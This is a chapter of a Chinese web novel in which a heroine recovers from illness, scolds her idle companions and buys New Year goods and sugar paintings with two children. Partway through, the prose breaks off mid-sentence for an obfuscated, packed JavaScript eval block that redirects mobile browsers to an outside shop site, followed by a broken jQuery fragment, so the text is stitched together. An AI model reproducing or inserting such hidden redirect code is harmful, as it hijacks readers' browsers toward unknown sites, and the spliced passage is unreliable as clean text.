风明之这一病好似身体是要将这段时间积压的病灶一起清算。

    平常不生病的人,一生起病来,来势汹汹。

    昏昏沉沉地烧了几天几夜,醒了又睡,睡了又醒,其间做过什么完全不记得。

    高烧还好,真正磨人的是腰和腿,但凡没盖严实,露出一星半点,就跟针扎似的疼。

    风明之自认不是个怕疼的人,可这绵延不绝的刺痛,比挨一刀还难熬。

    到最后,实在扛不住,直接长期开启了痛觉屏蔽。

    这一养病,足足困在房间整整一个月,连门都没迈出过一步。

    因为风明之实在没有精神,小张们直接谢绝了访客上门,让她安心养病。

    等身体终于好得差不多了,关掉痛觉屏蔽,久违的痛觉回归,风明之感受了下,还在可以忍受的范围内。

    不想再吃药,风明之也不光脚了,认命地穿上鞋子,推开房门,呼吸着久违的新鲜空气,感觉整个人都轻快了几分,灵魂都得到了洗礼。

    然后,她就看到了守在门口的张清和。

    张清和穿得素净,浅青色的衣衫趁得人跟像画里走出来似的。

    张清和见风明之出来,放下手里的书,冲她甜甜地笑了下。

    坐在另一边的宁言听见动静立刻抬起头,也学着张清和的样子,冲着风明之甜甜地笑。

    风明之看着眼前一大一小两张无辜清纯的笑脸。

    土拨鼠震怒:啊——!!!

    你作业写完了吗?就在这儿玩?还有空玩一看就是作业太少,需要加量!!!

    还有你,你们老张家不用振兴了吗?

    本家就没什么事要忙吗?

    那么大一个家族,那么多产业,账不用查?人不用管?天天蹲别人门口当门神是什么回事?

    除了张衔星,一个两个的怎么事业心这么差劲!!!

    张书屿都发几封信过来让你们回去帮忙了?没一个人动!

    风明之深吸一口气,感觉自己之前好不容易退下去的烧,好像又要烧起来了。

    她现在算是彻底明白了。

    怪不得要用打架的方式决定谁去参军呢,合着这么拼命地要赢,是真一点事都不想管啊!!!

    要不是当官必须身体健康,不能排班。风明之都怀疑,但凡现在有个美瞳,张书屿为了不去参军,都会提前买好未来几十年的量,打赢张斯年后就给他送过去。

    然后张斯年为了把所有人拉下水,直接撂挑子不干,逼得其他人必须安排排班。

    等等……

    张书屿安排张瑞平当他的副官,不会是为了找人给他处理公务吧???

    所以,张瑞平每次见到她脸都臭得要死,跟鬼上身了似得,其实都是打工人的怨气?

    知道有人比自己还惨,有了对比,风明之心里顿时好受多了。

    原来这世上还有比被张家人堵在厕所门口更让人窒息的事。

    等她从厕所出来,甩掉手上的水,看到坐在客厅三丫,脚步一顿。

    三丫见到风明之,连忙站起身,讨好地冲她笑。

    说实话,风明之不是不喜欢三丫。恰恰相反,三丫是个很讨人喜欢的小孩。

    乖巧、聪明、勤快、有眼色,大人喜欢的性格,她样样占全。

    她生病这段时间,三丫一直守在她身边,端水送药,跑前跑后不肯离开。

    没有人会不喜欢一个全心全意对自己好的人。

    可正是因为这样,风明之才不知道该怎么办,她还没想好,到底该怎么对待三丫。

    风明之脚步一转,直接朝大门走。

    想躲开三丫是一方面,另一方面是她是真宅够了。

    她虽然能宅,但那是在有手机有网的前提下,抱着手机在床上一躺就是一整天,刷刷视频看看小说,饿了点个外卖,日子过得赛神仙,几个月不出门都行。

    可现在呢,什么都没有。

    这地方别说网了,连个收音机都没有,想知道时间还得看系统,无聊到已经开始学砖妃数砖缝了。

    与其留在屋里长蘑菇,还不如出门踏踏青,晒晒太阳,好歹能活动活动。

    风明之前脚刚迈出大门,宁言后脚便冲一旁的三丫使了个眼色。

    三丫先是一愣,随即反应过来,忙不迭地放下手里的东西,匆匆追了出去。

    宁言看着三丫追出去的背影,心中暗暗叹了口气。

    姐姐不是不在意三丫,正相反,就是因为太在意了,所以才这么畏手畏脚。

    想东想西想了一堆,最后反而什么都不敢做。

    他能看出来,三丫自己也未必没有看出来。

    宁言拿起三丫没摘完的菜,接着把菜摘干净。

    他不知道风明之到底在担心什么,但他可以肯定,凭风明之对三丫的在意,这人一定会留下。

    正好趁现在,给三丫卖个好,以后的日子还长,也好互相有个照应。

    毕竟这个家里,能让他稍微松一口气的,也只有三丫了。

    到不是跟三丫有多亲近,而是他们俩站在差不多的位置上。

    这段时间,宁言不是没感觉到,这群师兄师姐没一个真正把他和三丫放在眼里的。

    他们看他的眼神,对待他的态度,客气有余,亲近不足,客气底下还隔着一层若有若无的隔阂

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629293|206305||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    他们自成一个小圈子,一个眼神一个动作就能读懂对方的意思,而他和三丫,是圈子外的人。

    在风明之病得最重的时候,宁言也想过。

    要是姐姐撑不过去了,他会去哪儿?老师会管他吗?

    大约不会。

    他大概还是会过回从前的日子。

    在泥里打滚,跟野狗抢食,跟其他乞丐互相争地盘,输了就挨顿打,爬起来换个地方继续蹲,继续坑蒙拐骗的过日子。

    风明之对他好,是真的好,没有目的,不掺杂任何杂念,没有要求。

    最重要的是,她的眼睛里,宁言能看到自己。

    所以,宁言希望风明之能过的更好。

    同样的,他也需要一个能让他站住脚的地方,一个让他不必再回到泥里去的人。

    两者不冲突。

    两种心思缠在一起,宁言分不清,也不打算分。

    风明之值得他对她好,而他也确实需要依靠她活。

    *

    张有才和张清和两人一左一右跟在风明之身侧,身后还跟着一个还没他们大腿高的小不点。

    临近年关,各家各户都在置办年货,街上很是热闹。

    卖糖葫芦的、卖年画的、卖窗花的、卖瓜子花生的,沿街边摆了一长溜。

    闷了整整一个月,风明之此刻活像刚放归山林的峨眉山猴子,满街乱窜,看什么都新鲜,什么都得拿起来瞧两眼。

    买好窗花春联,风明之叠好直接塞进包里,搂着张清和的胳膊,继续逛。

    三丫一声不吭地跟在后面,步子迈得又急又碎,生怕跟丢了。

    小小的身影在人腿里钻来钻去。

    风明之余光撇见这一幕,脚步慢了下来,却没回头。

    “馆长,这个。”张清和拽住她的袖子,指着路边一个卖糖画的摊子。

    张清和眼睛亮晶晶的,轻轻晃了晃袖子,小心思全写在脸上了。

    风明之爽快地掏了钱,不多时,一只大凤凰的糖画出现在张清和手里。

    张清和举着糖画,笑得眉眼弯弯,回头看了三丫一眼,满脸欢喜地喊道:“谢谢馆长~”

    三丫默默低下头,看着自己的鞋尖,什么都没说。

    “给。”

    三丫猛地抬头,一只老虎糖画被塞进了她手里。

    还没等她张口说谢谢,风明之已经转身挑了个龙的糖画,递给张有才。

    张有才接过糖画,虽然嘴上没说什么,但手里的竹签转得飞快,显然心情不错。

    三丫把到嘴边的“谢谢”咽了回去,小心舔了口老虎的耳朵。

    真甜。